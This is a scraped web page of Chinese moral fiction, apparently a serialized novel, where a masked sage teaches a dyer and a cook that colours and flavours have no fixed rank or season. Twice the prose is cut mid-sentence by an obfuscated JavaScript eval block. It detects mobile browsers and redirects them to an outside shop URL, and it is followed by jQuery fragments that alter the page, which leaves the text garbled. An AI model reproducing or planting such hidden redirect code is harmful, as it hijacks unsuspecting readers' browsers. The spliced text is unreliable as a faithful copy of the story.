五色新道，渐入人心。 三、 《周礼》的流传 赵守正倡五色新道之事，渐传周边。附近乡镇的染匠、裁缝、布商，闻讯来流霞镇取经。赵守正便将《周礼·考工记》篇借出传抄，更将《流霞五色新事》广为散发。 “五色是色，目所识，本无贵贱。此理通行天下。” “染法当因地因材制宜，衣色当因心因体择宜。顺其自然，合宜为美。” “流霞新事，可供参考。但各地物产不同，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的染匠、裁缝、布商，亦加入其中。一时间，“五色无贵贱，染法看材料，衣色看喜好”之理，传遍州县。 有那固执的老染匠，初闻此理，斥为“悖逆古法”。但见百姓践行，染布更易，衣色更美，也渐改观念。有那曾因固守古法吃亏的，闻此理如获至宝。 色真宜之的名声，渐渐在州县传开。都说有位戴桑皮斗笠、蒙麻纱的高人，深明五色，点破迷障，使人明“五色是色，本无贵贱”之理，知“染法看材料，衣色看喜好”之道。 四、 三年后的旬日 三年后的一个旬日，染坊前又围满了人。不仅有流霞镇的百姓，还有周边乡镇的乡民。 赵守正正在讲解“青赤黄，及黑白。此五色，目所识”。 “……故曰：五色是造化，目所识，心所用。青是青，赤是赤，黄是黄，白是白，黑是黑，本无贵贱，本无主属，本无吉凶。染色之道，在得色，不在固法。因地而异，因材而变，顺其自然，方是正法。衣色之宜，在合体，不在合礼。因心而择，因体而宜，顺其本心，方是真宜。” 他指着染坊悬着的《周礼·考工记》篇与《流霞五色新事》，道：“列位看，这是古人之训，这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他又问：“然五色之用，易入两歧：一曰泥古，二曰妄为。泥古者，固守成法，强分贵贱；妄为者，不辨美恶，胡乱施为。此又当如何？” 众人肃然。赵守正道：“先生所言极是！五色之用，贵在得宜。泥古则呆，妄为则乱。顺其自然，因地因材制宜；合其本心，因心因体择宜。方是正道。” “正是。”色真宜之道，“五色如五音，有常律，亦有变调。守常律，可知宫商角徵羽；通变调，可成万千妙音。若死守常律，不知变通，是呆；若无视常律，胡乱施为，是乱。顺自然，合本心，得宜适中，方是妙用。” 他转向众人：“列位当谨记：用青色，当知青是青，可染衣可染布，可男穿可女着，可老衣可少服，顺材顺心为美。用赤色，当知赤是赤，可热烈可沉静，可商穿可士服，可少衣可老着，顺材顺心为美。用黄色，当知黄是黄，可鲜亮可温润，可老衣可少服，可商穿可士着，顺材顺心为美。用白色，当知白是白，可洁净可清雅，可女穿可男着，可士衣可商服，顺材顺心为美。用黑色，当知黑是黑，可沉厚可沉稳，可士穿可女着，可少衣可老服，顺材顺心为美。色只是色，用其宜，顺其心，方是正道。” 众人齐声道：“谨记先生教诲！” 色真宜之从怀中取出一卷书，递给赵守正：“此乃《五色宜用录》，是我游历各地，记录五色用法、得宜得失之鉴所编。你可传抄于众，供百姓参考。” 赵守正双手接过，如获至宝。 色真宜之又对众人道：“此书可参阅，但需切记：五色之道，在观在用。观千色不如染一色，说千宜不如着一衣。青赤黄白黑，皆在眼前。观其真，染其宜，着其美，方是真知。” 说罢，他戴上斗笠，转身走入人群。桑皮斗笠在日光下泛着淡金，粗苎白衣的下摆扫过染坊前湿润的青石板，不沾半点染料。 赵守正对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声五色谣 多年后，流霞镇的孩童玩耍时，会唱一首童谣： 青赤黄白黑五色，目所识来本无别。 赵师强分贵与贱，染法衣色皆成枷。 色真先生来点化，五色是色本自然。 染法看料衣看心，从此流霞色缤纷。 赤衣女子多精神，黑衣士子更沉稳。 黄衫老者显年轻，白衣商贾也清雅。 有外乡人听了，问镇里老人：“这色真先生是何人？” 老人便会指着染坊说：“是位教人明五色、知宜用的先生。他来了，赵师傅知错了，百姓醒悟了，咱们镇知道五色是色、本无贵贱了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又固守成法、强分贵贱的时候，他大概就会回来吧。” 外乡人若有所思，走到染坊前。坊前悬着《周礼·考工记》篇与《流霞五色新事》，木牌上刻着那十二字：“青赤黄，及黑白。此五色，目所识。”下面还有一行小字：“然色本无贵贱，染法当因地因材制宜，衣色当因心因体择宜。顺其自然，合宜为美。” 也许那位色真先生，正在某个地方，看人染五色、着彩衣吧。他想。 他走出染坊，夕阳西下。晚霞满天，青、赤、黄、白、黑，五色交融，流光溢彩。染坊里传出捣练声，布庄前飘着各色布匹，街市上行人衣着缤纷。五色之美，看似寻常，实则就在这晚霞染坊、布匹衣着之中。 本章诫世 一、 五色真义训 - 青赤黄，及黑白。此五色，目所识 - 破解法：为染者，自问“可固守古法？可知色本无贵贱？可曾因地因材制宜？”；为衣者，自问“可强分衣色？可知衣宜合体？可曾因心因体择宜？” 二、 三谬三正 - 赵守正之谬在“泥古”——以古法为铁则，固守染法，强分衣色 - 世俗之谬在“偏见”——以五色分贵贱、主属、吉凶，拘束人心 - 百姓之谬在“盲从”——不知色本自然，盲目遵从，受困于色 - 三正：赵守正倡五色新道，百姓明色本自然，流霞行宜用之道 三、 宜之大道 - 深层隐喻：青赤黄白黑，五色是造化，目所识，本无贵贱。色只是色，本无五行四方之属，无男女老幼之别，无士农工商之分。染色之道，在得色，不在固法；因地而异，因材而变，顺其自然，方是正法。衣色之宜，在合体，不在合礼；因心而择，因体而宜，顺其本心，方是真宜。强分贵贱，是以虚妄缚实相；强定宜忌，是以偏见限天性；强判身份，是以俗见困人心 - 终极指向：世人用色，易入两歧：一曰泥古，二曰妄为。泥古则呆，妄为则乱。五色是自然，目所识，心所用。用色当知色是色，本无贵贱；染法当因地因材制宜，不拘古方；衣色当因心因体择宜，不拘身份。顺其自然，合其本心，得宜适中，方是色之真道。色在观，不在说；在用，不在分；在宜，不在固 五色偈： 流霞染坊赵守正，强分五色贵贱明。 染法衣色皆成枷，百姓受困色中囚。 色真先生来点化，五色是色本自然。 从此染法看材料，衣色随心各缤纷。 后世叹： 青赤黄，及黑白，此五色，目所识。 赵师泥古分贵贱，染法衣色皆成规。 色真先生来点化，五色是色本自然。 三载宜用新气象，流霞百姓色缤纷。 正是： 流霞染坊说五色，赵师泥古分贵贱。 青赤黄白黑有属，男女老幼各宜忌。 色真先生来点破，五色是色本自然。 从此染法看材料，衣色随心各缤纷。 106.五味五臭谳 楔子·庖厨拘方 金谷镇“五味楼”乃此地第一食肆，庖长郑守味，执掌后厨三十载。每逢望日，郑守味必在楼前高台开讲“五味五臭之理”。这日正值望日，楼前已聚了不少食客厨人。郑守味头戴高冠，身着绣“饕餮纹”的杏黄庖服，手持一部《食经》，对众人朗声道： “……故曰：天有五行，人有五味。酸、苦、甘、辛、咸，此五味，口所含，乃造化之正味。又云：地有五气，鼻有五臭。膻、焦、香、腥、朽，此五臭，鼻所嗅，乃万物之正臭。此乃天地纲常，不可紊乱也！” 台下多是庖厨、食客、商贩，纷纷点头。 郑守味捻须续道：“故而调和之道，当遵古法。春多酸，夏多苦，秋多辛，冬多咸，四季皆宜甘。此乃顺天应时，养生之要！又云：膻属木，焦属火，香属土，腥属金，朽属水。五味配五臭，相生相克，不得僭越！” 他指着楼前陈列的各式调料：“譬如这酸，必用梅子三蒸三晒所得之醋；苦必用黄连九熬九滤所得之汁；甘必用蜂蜜七酿七澄所得之饴；辛必用蜀椒五焙五磨所得之粉；咸必用海盐九晒九淘所得之晶。工序不可减，火候不可差，方是正味！” 又指一旁熏炉：“膻必是山羊肋炙烤三刻所得；焦必是松木慢燃五更所得；香必是沉香文火熏七日所得；腥必是鲜鱼曝晒九日所得；朽必是豆豉窖藏三年所得。时辰不可短，用料不可替，方是正臭！” 台下“醉仙居”的掌勺王师傅叹道：“郑庖长说得是！咱们做菜几十年，从不敢乱了章法。前街李厨子做春膳用了重咸，被老饕斥为‘逆时背道’，招牌都差点砸了！” “珍味斋”的东家附和道：“上月西市张庖人制鲙，用了松木熏香，被行家说‘香臭相克’，一釜鱼脍全废了！” 郑守味面露得色，正要再言，楼前老松树下传来一个清朗声音：“此言谬矣。” 众人望去，见松下立着一人。斗笠是细竹与箬叶混编，檐边垂着几缕风干的艾草。白衣是粗麻所制，浆洗得挺括，衣摆处有细密的酱色补丁。腰间悬一柄木剑，剑柄缠着褪色的五色丝绦。面上蒙着本色棉纱，只露出一双明澈如清泉的眼睛。 郑守味眉头微皱：“这位先生，谬在何处？” “酸苦甘，及辛咸。此五味，口所含。膻焦香，及腥朽。此五臭，鼻所嗅。”那人缓步上台，对众人略一拱手，“此话不错。然郑庖长说‘五味有时、五臭有属，调和必遵古法’，却是错了。” “错了？”郑守味不悦，“四时五味，五行五臭，此乃《黄帝内经》《周礼·天官》所载，岂能有错？” “五味是味，口所含，是实。五臭是臭，鼻所嗅，亦是实。”那人道，“然味是味，臭是臭，本无定时，本无定属。酸可是酸，苦可是苦，甘可是甘，辛可是辛，咸可是咸。膻可是膻，焦可是焦，香可是香，腥可是腥，朽可是朽。人以口尝味，以鼻嗅臭，本乎自然。强分四时，强配五行，是人为之枷锁，非味臭之本然。” 他走到调料台前，指着一坛醋：“郑庖长说酸必用梅子三蒸三晒之醋。然我见江南有米醋，一酿即酸，其味清冽；北地有高粱醋，再酿方酸，其味醇厚。同是酸味，因地而异，因材而变，岂可必以梅子三蒸三晒为定法？” 又指苦汁：“苦必用黄连九熬九滤？我见岭南有苦瓜，生食即苦，其味清苦；西域有咖啡，焙炒方苦，其味焦苦。同是苦味，因物而异，因法而变，岂可必以黄连九熬九滤为定则？” 再指辛粉：“辛必用蜀椒五焙五磨？我见滇南有山椒，鲜用即辛，其味辛辣；东海有芥末，磨制即辛，其味冲辛。同是辛味，因材而异，因用而变，岂可必以蜀椒五焙五磨为铁律？” 他转向熏炉：“至于膻必是山羊肋炙烤三刻，焦必是松木慢燃五更，香必是沉香文火熏七日，腥必是鲜鱼曝晒九日，朽必是豆豉窖藏三年，更是拘泥。羊有膻，牛亦有膻；木有焦，草亦有焦；花有香，果亦有香；鱼有腥，肉亦有腥；物有朽，蔬亦有朽。味在食材，臭在物性，因材施法，因时制宜，方是调和之道。强定时辰，强定用料，是舍本逐末。” 郑守味面色微变：“那四时五味、五行五臭……” “四时五味，五行五臭，更是穿凿。”那人声音平和，“春多酸，夏多苦，秋多辛，冬多咸，四季皆宜甘？我见北人冬月嗜酸菜，南人夏月好咸鱼。西人秋日食甘饴，东人春日啖辛辣。味随人异，因习而变，岂可强分四时？膻属木，焦属火，香属土，腥属金，朽属水？我闻漠北以膻为美，南越以香为珍，东海嗜腥，西陲好焦，中原喜朽。臭随俗异，因地而变，岂可强配五行？味只是味，臭只是臭。以时分味，以行配臭，是以虚妄缚实相，以玄谈困天然。” 他转向郑守味：“郑庖长，五味是造化，口所含；五臭是物性，鼻所嗅。调和之道，在适口，不在合古；烹饪之要，在顺性，不在拘方。强分四时五行，是以虚妄缚天然；强定工序火候，是以成法困变化。此非守经，乃悖物性也。” 郑守味额角见汗，强撑道：“你……你这是悖逆圣贤！《黄帝内经》有云：‘酸入肝，苦入心，甘入脾，辛入肺，咸入肾。’《周礼》有云：‘凡和，春多酸，夏多苦，秋多辛，冬多咸，调以滑甘。’此乃养生正理！” “《内经》所云五味入五脏，是言味之性，非是言味之时。《周礼》所云四时五味，是言调和之宜，非是言味之定法。”那人从怀中取出一卷帛书，展开示众，“此乃《吕氏春秋·本味》篇：‘凡味之本，水最为始。五味三材，九沸九变，火为之纪。时疾时徐，灭腥去臊除膻，必以其胜，无失其理。’又云：‘鼎中之变，精妙微纤，口弗能言，志弗能喻。’调和之道，在水火之宜，在鼎中之变，岂在四时五行之拘？至于五臭，《礼记》有云：‘饮食男女，人之大欲存焉。’臭乃饮食之辅，顺性为美，岂在五行之配？” 众人围观，果见帛书有载。 郑守味踉跄一步，扶住案台，喃喃道：“鼎中之变，精妙微纤……臭乃饮食之辅……” 人群中哗然。有那见多识广的食客叹道：“这位先生说得是！我走南闯北，各地口味大不同。蜀人嗜麻辣，越人好咸鲜，北人喜酸菜，南人爱甜食，哪有四时之分？” “可不是么！我在岭南吃过槟榔，其苦非常，本地人却视若珍宝！” “我在东海渔村，腥气扑鼻，渔人却说‘不腥不鲜’！” “咱们调和，也该看食材、看食客，不能光按古法！” 那人点头：“正是。五味是味，本无定时；五臭是臭，本无定属。调和之道，因材而异，因习而变。春可食咸，夏可食酸，秋可食苦，冬可食辛，甘可四季。膻可是美，焦可是香，香可是雅，腥可是鲜，朽可是醇。顺食材之性，合食客之习，方是调和之要。” 他转向郑守味：“郑庖长精于调和，是匠心。然以古经为枷锁，强分味之时、臭之属，强定工序火候，是过矣。调味不因材因习制宜，是呆调；烹饪不因时因地变法，是愚烹。此非守经重道，乃悖逆物性也。” 郑守味冷汗涔涔，无言以对。 那人拱手道：“今日多言，望列位明理：酸苦甘辛咸，此五味，口所含。膻焦香腥朽，此五臭，鼻所嗅。味是味，臭是臭，本无定时定属。调和当因材因习制宜，烹饪当因时因地变法。顺其物性，合其人口，方是饮食之道。” 说罢，转身欲下台。 “先生留步！”郑守味颤巍巍深揖一礼，“先生一席话，如醍醐灌顶。郑某拘泥古经，以虚妄缚天然，以成法困变化，误人误己。敢问先生高姓大名？” “我姓味，名真，字和之。” “味真和之……”郑守味喃喃，忽问，“先生这《吕氏春秋·本味》篇，可否借某一观？” “可。”味真和之递过帛书，“此帛可传阅，然需切记：五味是造化，口所含；五臭是物性，鼻所嗅。调和在适口，不在合古；烹饪在顺性，不在拘方。强分四时五行，强定工序火候，是以虚妄困天然，非是圣贤本意。” 郑守味双手接过，如获至宝。 味真和之又对众人道：“道理在此，列位可思可悟。然需切记：口说五味，不如亲尝；鼻说五臭，不如亲嗅。酸苦甘辛咸，膻焦香腥朽，皆在眼前。尝其真，嗅其实，和其宜，方是真知。” 说罢，他戴上斗笠，走下高台。箬叶斗笠在日光下泛着青翠，粗麻白衣的下摆扫过五味楼前的石板地，不染一丝油腻。 一、 郑守味的悔悟 味真和之走后，郑守味在高台上呆立良久。他展开《吕氏春秋·本味》篇，细读“凡味之本，水最为始。五味三材，九沸九变，火为之纪。时疾时徐，灭腥去臊除膻，必以其胜，无失其理”、“鼎中之变，精妙微纤，口弗能言，志弗能喻”等语，又回想味真和之所言，越思越心惊。 “我误人误己三十载啊！” 他想起自己执掌五味楼三十年，总以“四时五味、五行五臭，调和必遵古法”为圭臬。见人春膳用咸，便斥为“逆时”；见人夏馔用酸，便讥为“背道”；见人用非古法之调料，便贬为“不正”；见人用非定方之熏法，便斥为“邪臭”。有北人冬月嗜酸，他劝“冬宜咸，不宜酸”；有南人夏月好咸鱼，他劝“夏宜苦，不宜咸”；有庖人用米醋代梅醋，他说“非正酸”；有厨子用果木熏肉，他说“非正香”。却不知，味只是味，臭只是臭。以时分味，以行配臭，是以虚妄缚实相，以玄谈困天然。 “那位先生说得好，五味是造化，口所含；五臭是物性，鼻所嗅。调和之道，在适口，不在合古；烹饪之要，在顺性，不在拘方。我强分四时五行，强定工序火候，岂不是以虚妄缚天然、以成法困变化？” 他羞愧难当，当即将《食经》收起，将《吕氏春秋·本味》篇悬于五味楼，对还未散去的众人深揖一礼。 “郑某拘泥古经，误人误己。从今日起，郑某当闭门思过，重研调和，再不固守成法、强分四时五行！” 众人见他诚恳，便劝道：“郑庖长知错能改，善莫大焉。只是这五味五臭之道，咱们还想听正解。” 郑守味便道：“《吕览》在此，列位可随意观览。郑某每旬在此讲解，与列位共悟！” 从此，每逢旬日，郑守味便在五味楼开讲五味五臭新义。他不再说“四时五味、五行五臭，调和必遵古法”，而是讲解五味之真、五臭之实、调和之宜。他结合金谷镇实际，讲酸、苦、甘、辛、咸的因材而变、因习而异，讲膻、焦、香、腥、朽的顺性为美、因地而宜。 “列位，酸是酸味，本无定时。春可食酸，夏亦可食酸，秋可食酸，冬亦可食酸。梅子醋是酸，米醋亦是酸，果醋亦是酸。当因材而用，因习而调，适口为要，不必拘泥四时、必用梅醋。” “苦是苦味，本无定方。黄连苦是苦，苦瓜苦亦是苦，咖啡苦亦是苦。当因物而用，因习而调，适口为要，不必拘泥必用黄连。” “甘是甘味，本无定法。蜂蜜甘是甘，饴糖甘亦是甘，果糖甘亦是甘。当因材而用，因习而调，适口为要，不必拘泥必用蜂蜜。” “辛是辛味，本无定料。蜀椒辛是辛，山椒辛亦是辛，芥末辛亦是辛。当因材而用，因习而调，适口为要，不必拘泥必用蜀椒。” “咸是咸味，本无定品。海盐咸是咸，井盐咸亦是咸，岩盐咸亦是咸。当因地而用，因习而调，适口为要，不必拘泥必用海盐。” 他顿了顿，续道：“至于五臭，更是如此。膻是膻，羊有膻，牛亦有膻，顺性为美，因地而宜。漠北以膻为美，中原以膻为臊，各随其习。焦是焦，松木焦是焦，果木焦亦是焦，顺性为美，因用而宜。熏肉以果木焦为香，熏鱼以松木焦为雅，各随其用。香是香，沉香香是香，檀香香亦是香，顺性为美，因物而宜。祀神以沉香为敬，日用以檀香为常，各随其宜。腥是腥，鱼腥是腥，肉腥亦是腥，顺性为美，因习而宜。海民以腥为鲜，山民以腥为臊，各随其俗。朽是朽，豆豉朽是朽，酱醢朽亦是朽，顺性为美，因地而宜。南人喜豉朽，北人好酱朽，各随其好。臭只是臭，顺性为美，合宜为珍，不必强配五行、强定时辰。” 他讲得通透，众人听得豁然开朗。有那曾因“味不合时”、“臭不合行”被训斥、被讥笑的庖厨食客，感慨万千。 “原来五味五臭，得这么看！” “是啊，调味得看食材、看食客，不能光按古法、四时！” “熏制得看材料、看用途，不能光按五行、定方！” “郑庖长这么一讲，咱们就明白了！” 郑守味在五味楼前立了块木牌，上书：“酸苦甘，及辛咸。此五味，口所含。膻焦香，及腥朽。此五臭，鼻所嗅。然味无定时，臭无定属。调和当因材因习制宜，烹饪当因时因地变法。顺其物性，合其人口，方是饮食之道。” 二、 百姓的醒悟 郑守味在五味楼讲五味五臭新义，金谷镇的百姓渐渐醒悟。 从前，他们以为五味有四时、五臭有五行：春必酸，夏必苦，秋必辛，冬必咸，四季皆宜甘。膻属木，焦属火，香属土，腥属金，朽属水。调味必遵古法，烹饪必合时行。结果，调味呆板，烹饪拘束，食不甘味。 如今，他们明白了：五味只是味，本无定时；五臭只是臭，本无定属。调和之道，因材而异，因习而变；烹饪之要，因时而宜，因地而宜。春可食咸，夏可食酸，秋可食苦，冬可食辛，甘可四季。膻可是美，焦可是香，香可是雅，腥可是鲜，朽可是醇。顺食材之性，合食客之习，方是饮食之要。 “原来五味五臭，得这么用！” “可不是么！我北人冬月就爱酸菜，开胃！从前不敢多吃，现在随便吃！” “我南人夏月就好咸鱼，下饭！从前不敢多吃，现在放心吃！” “咱们做菜，也看食客，蜀人来了多放椒，越人来了多放糖，这才对味！” “熏肉也用果木，香！不必非用松木！” 有那吃过亏的，现身说法，劝人莫要“固守调味”、“强分时行”。有那开明的，开始践行“因材因习制宜”、“因时因地变法”的新道。 庖厨调味，看食材、看食客，不拘古法、四时；烹饪熏制，看材料、看用途，不拘五行、定方。 镇上的食风，为之一新。呆板的少了，灵活的多了；拘束的少了，鲜活的多了。 郑守味在五味楼，将百姓践行五味五臭新道的事一一记录，成《金谷五味五臭新事》。他携此册，奔走于乡邻之间，倡行“因材因习制宜”、“因时因地变法”之道。 乡邻们见郑守味变了，也渐改前非。有那曾因“固守调味”不合食客口味的，如今看人下料，食客称善；有那曾因“强分时行”烹饪失宜的，如今因时制宜，菜肴生色。 五味五臭新道，渐入人心。 三、 《吕览》的流传 郑守味倡五味五臭新道之事，渐传周边。附近乡镇的庖厨、食肆东家、老饕，闻讯来金谷镇取经。郑守味便将《吕氏春秋·本味》篇借出传抄，更将《金谷五味五臭新事》广为散发。 “五味是味，本无定时；五臭是臭，本无定属。此理通行天下。” “调和当因材因习制宜，烹饪当因时因地变法。顺其物性，合其人口。” “金谷新事，可供参考。但各地物产不同，食习有异，当因地制宜。” 抄书者、传册者，回去后亦在本地宣讲。有那开明的庖厨、食肆东家、老饕，亦加入其中。一时间，“味无定时，臭无定属，调和看食材，烹饪看食客”之理，传遍州县。 有那固执的老庖厨，初闻此理，斥为“悖逆古法”。但见百姓践行，菜肴更美，食客更悦，也渐改观念。有那曾因固守古法失客的，闻此理如获至宝。 味真和之的名声，渐渐在州县传开。都说有位戴箬叶斗笠、蒙棉纱的高人，深明五味五臭，点破迷障，使人明“味无定时，臭无定属”之理，知“调和看食材，烹饪看食客”之道。 四、 三年后的望日 三年后的一个望日，五味楼前又聚满了人。不仅有金谷镇的百姓，还有周边乡镇的乡民。 郑守味正在讲解“酸苦甘，及辛咸。此五味，口所含。膻焦香，及腥朽。此五臭，鼻所嗅”。 “……故曰：五味是造化，口所含；五臭是物性，鼻所嗅。酸可是酸，苦可是苦，甘可是甘，辛可是辛，咸可是咸。膻可是膻，焦可是焦，香可是香，腥可是腥，朽可是朽。本无定时，本无定属。调和之道，在适口，不在合古。因材而异，因习而变，顺其自然，方是正理。烹饪之要，在顺性，不在拘方。因时而宜，因地而宜，合其物性，方是真要。” 他指着五味楼悬着的《吕氏春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178294|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋·本味》篇与《金谷五味五臭新事》，道：“列位看，这是古人之训，这是今事之证。味只是味，臭只是臭，调在适口，烹在顺性。顺其自然，合其物性，方是饮食之道。” 众人纷纷称是。有外乡庖厨问：“郑庖长，咱们那儿还有人固守古法，春必酸，夏必苦，秋必辛，冬必咸，四季皆宜甘。又分膻属木，焦属火，香属土，腥属金，朽属水。调味必遵四时，烹饪必合五行。见人因材因习制宜，便斥为‘不正’；见人因时因地变法，便讥为‘背道’。该如何劝解？” 郑守味笑道：“以事劝之。请其观‘固守调味’之呆、‘强分时行’之拘，再观‘因材因习制宜’之活、‘因时因地变法’之宜。两相对比，其理自明。” 外乡庖厨点头记下。 这时，五味楼前老松树下又立一人。还是箬叶斗笠，粗麻白衣，腰间木剑，脸上蒙着棉纱。楼前人声鼎沸，他却静立如松，不惹尘埃。 “味真先生！”郑守味惊喜，忙迎出。 味真和之微微点头，看着五味楼悬着的《吕氏春秋·本味》篇与《金谷五味五臭新事》，道：“三年不见，金谷气象一新。” 郑守味深揖：“全赖先生点拨！守味如今知味无定时，臭无定属，更倡因材因习制宜、因时因地变法。百姓践行，菜肴更美，食客更悦！” 味真和之看向众人：“列位于五味五臭之道，所知几何？” 众人纷纷道：“知味无定时！”“知臭无定属！”“知调和看食材，烹饪看食客！” “好。”味真和之点头，“知味无定时，则不拘四时；知臭无定属，则不拘五行；知调和看食材，烹饪看食客，则能顺物性、合人口。此乃庖厨之智，食客之福。” 他又问：“然五味五臭之用，易入两歧：一曰泥古，二曰妄为。泥古者，固守成法，强分时行；妄为者，不察物性，胡乱施为。此又当如何？” 众人肃然。郑守味道：“先生所言极是！五味五臭之用，贵在得宜。泥古则呆，妄为则乱。顺其物性，因材因习制宜；合其自然，因时因地变法。方是正道。” “正是。”味真和之道，“五味如五音，有常调，亦有变奏。守常调，可知宫商角徵羽；通变奏，可成万千妙曲。若死守常调，不知变通，是呆；若无视常调，胡乱施为，是乱。顺物性，合人口，得宜适中，方是妙味。” 他转向众人：“列位当谨记：用酸味，当知酸是酸，可梅醋可米醋，可春用可冬用，顺材顺习为美。用苦味，当知苦是苦，可黄连可苦瓜，可夏用可秋用，顺材顺习为美。用甘味，当知甘是甘，可蜂蜜可饴糖，可四季用，顺材顺习为美。用辛味，当知辛是辛，可蜀椒可山椒，可秋用可春用，顺材顺习为美。用咸味，当知咸是咸，可海盐可井盐，可冬用可夏用，顺材顺习为美。用膻臭，当知膻是膻，可羊膻可牛膻，可漠北喜可中原厌，顺性顺俗为美。用焦臭，当知焦是焦，可松木焦可果木焦，可熏肉可熏鱼，顺性顺用为美。用香臭，当知香是香，可沉香可檀香，可祀神可日用，顺性顺宜为美。用腥臭，当知腥是腥，可鱼腥可肉腥，可海民鲜可山民臊，顺性顺俗为美。用朽臭，当知朽是朽，可豆豉朽可酱醢朽，可南人喜可北人好，顺性顺好为美。味只是味，臭只是臭，用其宜，顺其性，方是正道。” 众人齐声道：“谨记先生教诲！” 味真和之从怀中取出一卷书，递给郑守味：“此乃《五味五臭宜用录》，是我游历各地，记录味臭用法、得宜得失之鉴所编。你可传抄于众，供百姓参考。” 郑守味双手接过，如获至宝。 味真和之又对众人道：“此书可参阅，但需切记：五味五臭之道，在尝在嗅。尝百味不如调一味，嗅百臭不如用一臭。酸苦甘辛咸，膻焦香腥朽，皆在眼前。尝其真，嗅其实，和其宜，方是真知。” 说罢，他戴上斗笠，转身走入人群。箬叶斗笠在日光下泛着青翠，粗麻白衣的下摆扫过五味楼前的石板地，不染一丝油腻。 郑守味对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声·五味谣 多年后，金谷镇的孩童玩耍时，会唱一首童谣： 酸苦甘辛咸五味，口所含来本无时。 膻焦香腥朽五臭，鼻所嗅来本无属。 郑庖强分时与行，调味烹饪皆成规。 味真先生来点化，味臭本真顺自然。 从此调和看食材，烹饪看客顺物性。 北人冬月嗜酸菜，南人夏月好咸鱼。 蜀人嗜麻越人甜，各顺其性各称美。 有外乡人听了，问镇里老人：“这味真先生是何人？” 老人便会指着五味楼说：“是位教人明五味五臭、知宜用的先生。他来了，郑庖长知错了，百姓醒悟了，咱们镇知道味无定时、臭无定属了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又固守成法、强分时行的时候，他大概就会回来吧。” 外乡人若有所思，走到五味楼前。楼前悬着《吕氏春秋·本味》篇与《金谷五味五臭新事》，木牌上刻着那十六字：“酸苦甘，及辛咸。此五味，口所含。膻焦香，及腥朽。此五臭，鼻所嗅。”下面还有一行小字：“然味无定时，臭无定属。调和当因材因习制宜，烹饪当因时因地变法。顺其物性，合其人口，方是饮食之道。” 也许那位味真先生，正在某个地方，看人调五味、用五臭吧。他想。 他走出五味楼，暮色四合。楼里飘出菜肴香气，酸、苦、甘、辛、咸，五味调和；膻、焦、香、腥、朽，五臭纷呈。街边食摊热气蒸腾，南来北往的食客大快朵颐。五味五臭之道，看似高深，实则就在这庖厨调和、食客品尝之中。 本章诫世 一、 五味五臭真义训 - 酸苦甘，及辛咸。此五味，口所含。膻焦香，及腥朽。此五臭，鼻所嗅 - 破解法：为庖者，自问“可固守古法？可知味无定时、臭无定属？可曾因材因习制宜、因时因地变法？”；为食者，自问“可强分时行？可知味臭本真？可曾顺物性、合人口？” 二、 三谬三正 - 郑守味之谬在“泥古”——以古法为铁则，固守四时五行，强定工序火候 - 世俗之谬在“拘方”——以五味分四时，以五臭配五行，拘束调和烹饪 - 百姓之谬在“盲从”——不知味臭本真，盲目遵从，食不甘味 - 三正：郑守味倡五味五臭新道，百姓明味臭本真，金谷行宜用之道 三、 和之大道 - 深层隐喻：酸苦甘辛咸，五味是造化，口所含；膻焦香腥朽，五臭是物性，鼻所嗅。味只是味，臭只是臭，本无四时之分，无五行之属。调和之道，在适口，不在合古；因材而异，因习而变，顺其自然，方是正理。烹饪之要，在顺性，不在拘方；因时而宜，因地而宜，合其物性，方是真要。强分四时，是以虚妄缚天然；强配五行，是以玄谈困物性；强定工序，是以成法碍变化 - 终极指向：世人调味烹饪，易入两歧：一曰泥古，二曰妄为。泥古则呆，妄为则乱。五味是味，五臭是臭，本无定时定属。调味当因材因习制宜，不拘古法四时；烹饪当因时因地变法，不拘五行定方。顺其物性，合其人口，得宜适中，方是饮食真道。味在尝，不在说；臭在嗅，不在分；和在宜，不在固 五味五臭偈： 金谷五味郑守味，强分四时与五行。 调味烹饪皆成规，百姓食之不知味。 味真先生来点化，味臭本真顺自然。 从此调和看食材，烹饪看客各称美。 后世叹： 酸苦甘辛咸五味，口所含来本无时。 膻焦香腥朽五臭，鼻所嗅来本无属。 郑庖泥古分时行，调味烹饪皆成枷。 味真先生来点化，味臭宜用顺自然。 三载调和新气象，金谷百姓食味真。 正是： 金谷楼前说味臭，郑庖泥古分时行。 酸苦甘辛咸有属，膻焦香腥朽配行。 味真先生来点破，味臭本真顺自然。 从此调和看食材，烹饪看客各得宜。 107.八音四声谳 楔子·乐律铁尺 琴川镇“八音阁”乃此地乐坊之冠，乐正钟守律，执掌乐事三十载。每逢朔日，钟守律必在阁前高台开讲“八音四声之理”。这日正值朔日，阁前已围聚不少乐工、歌者、听客。钟守律头戴进贤冠，身着绣“云雷纹”的玄色乐服，手持一部《乐经》，对众人朗声道： “……故曰：天地有八音，匏、土、革、木、石、金、丝、竹。此八音，乃造化之正声。又云：人语有四声，平、上、去、入。此四声，乃吐纳之正韵。此乃礼乐纲常，不可紊乱也！” 台下吹笙的、击磬的、弹琴的、唱歌的，纷纷颔首。 钟守律抚须续道：“故而制乐之道，当遵古制。匏笙必用瓠为体，竹为管，缺一不可；土埙必用陶为体，三孔为制，不可增减；革鼓必用夔皮为面，桐木为腔，不可替代；木柷必用梓木，三尺为度；石磬必用泗滨石，十六枚为套；金钟必用青铜，十二律齐备；丝弦必用蚕丝，五弦为琴，七弦为瑟；竹笛必用湘竹，六孔为制。此乃先王法度，不可更易！” 